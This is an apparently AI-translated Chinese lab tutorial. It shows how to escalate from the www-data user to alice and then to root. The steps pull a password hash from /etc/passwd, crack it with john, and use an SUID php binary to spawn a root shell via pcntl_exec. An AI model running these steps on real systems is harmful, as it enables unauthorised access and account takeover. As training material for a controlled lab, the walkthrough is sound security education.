通过 Nmap 中的中间用户提权至 Root

NmapNmapBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

在本实验中,我们将学习在无法直接提升到 root 用户时,如何逐步提升权限至 root 用户。我们将通过首先提升到另一个普通用户,然后利用该用户的权限来提升到 root 用户来实现这一目标。这个中间用户被称为“垫脚石”用户。

本实验的目标是从 www-data 用户提升权限到 alice 用户,然后再从 alice 用户提升到 root 用户。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/save_output("Save Output to File") subgraph Lab Skills nmap/installation -.-> lab-416146{{"通过 Nmap 中的中间用户提权至 Root"}} nmap/save_output -.-> lab-416146{{"通过 Nmap 中的中间用户提权至 Root"}} end

初始化实验环境

在这一步骤中,我们将初始化实验环境。

  1. 首先,打开终端并导航到 /home/labex/project 目录:

    cd /home/labex/project
  2. 运行以下命令以设置实验所需的环境:

    ./env_setup.sh

该命令将下载并执行一个脚本,用于设置实验所需的环境。运行此命令后,你应该会被切换到 www-data 用户,模拟通过 Web 漏洞获取的初始 shell。

尝试 SUID 权限提升

在这一步骤中,我们将尝试使用 SUID(Set User ID)技术来提升权限。我们将搜索设置了 SUID 位的可执行文件,这些文件可以以文件所有者(在本例中为 root)的权限执行。

  1. 首先,让我们搜索 www-data 用户可以访问的 SUID 可执行文件:

    find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt

    该命令将在整个文件系统中搜索由 root 用户拥有且设置了 SUID 位(权限模式为 4000)的文件。

  2. 运行命令后,你应该会在 www-data_suid_files.txt 文件中看到一系列 SUID 可执行文件。让我们查看该文件的内容:

    cat ~/www-data_suid_files.txt

然而,在本例中,没有适合用于 SUID 权限提升的文件。

调查主目录

由于我们无法通过 SUID 技术提升权限,现在让我们调查主目录以寻找潜在的垫脚石用户。

  1. 首先,将 /home 目录的内容保存到一个文件中以便进一步分析:

    ls -alh /home > ~/home_dir_contents.txt

    该命令将以长格式列出 /home 目录的内容,包括文件大小和权限,并将其保存到 home_dir_contents.txt 文件中。

  2. 接下来,让我们检查 home_dir_contents.txt 文件的内容,以识别任何潜在的垫脚石用户:

    cat ~/home_dir_contents.txt

    你应该会在输出中看到一个名为 alice 的目录,这表明系统中存在一个名为 alice 的用户。

尝试提升权限至 Alice 用户

由于 www-data 用户无法访问 alice 目录,我们需要先找到一种方法来提升权限至 alice 用户。

  1. 让我们检查 /etc/passwd 文件以获取有关 alice 用户的信息:

    cat /etc/passwd | grep alice > ~/alice_info.txt
  2. 检查 alice_info.txt 文件的内容以查看 alice 用户的详细信息:

    cat ~/alice_info.txt

    预期输出:

    alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash

    在输出中,你应该会看到 alice 用户的条目,包括密码哈希值。

  3. 为了破解密码哈希值,我们可以使用 john 工具。打开一个新的终端并运行以下命令:

    john ~/alice_info.txt > cracked_passwords.txt

    示例输出:

    Created directory: /var/www/.john
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    这将启动密码破解过程。一旦密码被破解,你应该会在 cracked_passwords.txt 文件中看到密码。

    cat ~/cracked_passwords.txt

    示例输出:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    beautiful        (alice)
  4. 在本例中,alice 用户的密码是 beautiful。使用 su 命令切换到 alice 用户:

    su - alice

    在提示时输入我们之前破解的密码(beautiful)。

    beautiful
  5. 成功切换到 alice 用户后,导航到 alice 目录并创建一个名为 alice.txt 的新文件:

    cd /home/alice

    创建一个名为 alice.txt 的新文件:

    touch ~/alice.txt

    你现在应该可以访问 alice 目录及其内容了。

尝试以 Alice 用户身份进行 SUID 权限提升

现在我们已经将权限提升至 alice 用户,让我们再次尝试 SUID 权限提升技术。

  1. 确保你位于 alice 用户的主目录中:

    cd /home/alice

    运行以下命令以查找设置了 SUID 位的文件:

    find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txt
  2. 检查 alice_suid_files.txt 文件的内容以查看 SUID 文件列表:

    cat alice_suid_files.txt

    预期输出:

    ...
    /var/bin/php
    ...

    这次,你应该会在输出中看到一个可执行文件 /var/bin/php。该文件可用于 SUID 权限提升。

  3. 为了将权限提升至 root 用户,运行以下命令:

    /var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"

    该命令将执行一个 PHP 脚本,生成一个具有 root 权限的新 shell。

  4. 你现在应该拥有一个 root shell,终端中的 # 提示符表示这一点。通过在根目录中创建一个文件来验证你是否拥有 root 权限:

    touch /root/root.txt

    如果文件创建时没有出现任何权限错误,说明你已成功使用 SUID 技术将权限提升至 root 用户。

理解目录权限的差异

你可能会好奇,为什么 alice 用户能够找到 SUID 可执行文件 php,而 www-data 用户却无法找到。答案在于目录权限。

在上一步之后,你应该仍然拥有一个 root 用户的 shell,如下所示:

sh-5.1#
  1. 让我们检查 /var/bin 目录的权限并将输出保存到文件中:

    ls -lh /var > /root/var_permissions.txt
  2. 检查 var_permissions.txt 文件的内容以查看 /var 目录的权限:

    cat /root/var_permissions.txt

    预期输出:

    total 0
    ...
    drwxr-x--- 2 alice    alice     17 Apr 15 03:48 bin
    ...

    在输出中,你应该会看到 /var/bin 目录由 alice 用户和组拥有。其他用户没有对该目录的读、写或执行权限。

这意味着当我们提升到 alice 用户时,我们获得了对之前 www-data 用户无法访问的文件和目录的访问权限。这种权限差异使我们能够找到并利用 SUID 可执行文件进行权限提升。

总结

在本实验中,我们学习了如何在无法直接提升到 root 用户的情况下,通过先提升到 alice 用户(一个垫脚石用户),然后利用 alice 用户的权限来提升到 root 用户。

本实验的关键要点是始终注意用户之间的权限差异,因为这些差异有时可以被利用来进行权限提升。虽然我们在本实验中使用了一个简单的示例,但现实场景可能更加复杂,但核心原则保持不变:利用用户权限的差异来实现权限提升。